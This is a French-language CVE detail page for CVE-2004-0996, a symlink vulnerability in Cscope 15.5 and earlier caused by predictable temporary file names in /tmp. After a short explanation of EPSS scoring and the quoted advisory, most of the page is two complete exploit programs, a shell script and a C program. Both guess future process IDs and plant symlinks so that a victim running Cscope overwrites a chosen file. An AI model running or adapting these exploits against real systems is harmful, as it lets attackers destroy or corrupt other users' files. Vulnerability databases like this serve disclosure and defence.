CVE-2004-0996 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. #!/bin/sh ################################################################# # RXcscope_proof.sh # brute force case baby # cscope advisory and exploit by Gangstuck / Psirac <[email protected]> ################################################################# HOWM=30 CURR=`ps | grep ps | awk '{print $1}'` NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1` LAST=`expr $NEXT + $HOWM` echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\ " [versions 15.5 and minor]\n"\ " Gangstuck / Psirac\n"\ " <[email protected]>\n\n" if [ $# -lt 1 ]; then echo "Usage: $0 <file1> [number_of_guesses]" exit 1 fi rm -f /tmp/cscope* echo "Probed next process id ........ [${NEXT}]" while [ ! "$NEXT" -eq "$LAST" ]; do ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1` ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1` done

// source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. /* RXcscope exploit version 15.5 and minor */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BSIZE 64 int main(int ac, char *av[]) { pid_t cur; u_int i=0, lst; char buffer[BSIZE + 1]; fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\ " version 15.5 and minor \n" \ " Gangstuck / Psirac\n" \ " <[email protected]>\n\n"); if (ac != 3) { fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]); return 1; } cur=getpid(); lst=cur+atoi(av[2]); fprintf(stdout, " -> Current process id is ..... [%5d]\n" \ " -> Last process id is ........ [%5d]\n", cur, lst); while (++cur != lst) { snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i); symlink(av[1], buffer); } return 0; }